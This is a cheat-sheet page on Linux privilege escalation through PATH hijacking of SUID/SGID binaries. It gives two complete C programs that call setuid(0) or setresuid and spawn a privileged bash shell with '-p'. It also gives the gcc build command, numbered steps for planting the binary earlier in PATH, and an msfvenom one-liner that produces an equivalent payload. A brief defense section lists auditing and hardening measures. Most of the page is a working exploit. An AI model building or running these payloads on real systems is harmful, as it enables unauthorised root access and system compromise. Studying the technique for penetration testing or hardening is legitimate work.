Load a Shell with a Simple Executable

A trivial C program can spawn a root shell by exploiting SUID/SGID binaries that call other executables from a PATH-controlled directory. The technique is a variant of the LD_PRELOAD trick but produces a standalone binary rather than a shared library. 1

The C code

Approach 1: execl with setuid/setgid

#include <stdio.h>
#include <unistd.h>
 
main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash",
          "/bin/bash",
          "-p",
          (char*) NULL);
}

Approach 2: system() with setresuid/setregid

#include <stdio.h>
#include <time.h>
 
main() {
    setresuid(0, 0, 0);
    setregid(0, 0, 0);
    system("/bin/bash -p");
    return 0;
}

Compilation

gcc -fPIC -o /path/to/malicious /path/to/malicious.c

How it works

  1. Find a SUID/SGID binary that calls another executable via a relative path (e.g., system("service apache2 restart") instead of /usr/sbin/service)
  2. Write this C code, compile it, name it to match the called executable (e.g., service)
  3. Place it in a directory earlier in the SUID binary’s PATH
  4. Execute the SUID binary — it calls our malicious service, which drops into a root shell

Key detail: The -p flag to bash is essential. Without it, bash drops privileges when the real UID differs from the effective UID — the -p flag preserves the elevated privileges. See bash-p-flag-suid-privileges for the full mechanics.

Comparison with LD_PRELOAD

SUID executableLD_PRELOAD
Entry pointmain()_init()
Compilationgcc -fPIC -o out.cgcc -fPIC -shared -nostartfiles -o out.c
DeliveryReplace a binary on PATHPreload a shared library
RequiresSUID binary calling relative PATHSUID binary that doesn’t sanitize LD_PRELOAD

Metasploit alternative

msfvenom can generate the equivalent binary without writing C:

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf \
         -o shell.elf

Defense

  • Audit SUID/SGID binaries regularly (find / -perm -4000 -type f 2>/dev/null)
  • SUID binaries should use absolute paths when calling external executables
  • Mount /tmp and other user-writable directories with noexec
  • Remove unnecessary SUID bits — most setuid binaries are not needed

Sources

Related: powershell-reverse-shell, windows-reconnaissance-commands, find-command, vim-shell-escape, ld-preload-trick, bash-ps4-prompt-exploit, bash-exported-function-backdoor, linux-file-capabilities, systemctl-suid-privesc, bash-p-flag-suid-privileges

Footnotes

  1. Cheatsheet_QuickCShell — slyth11907/Cheatsheets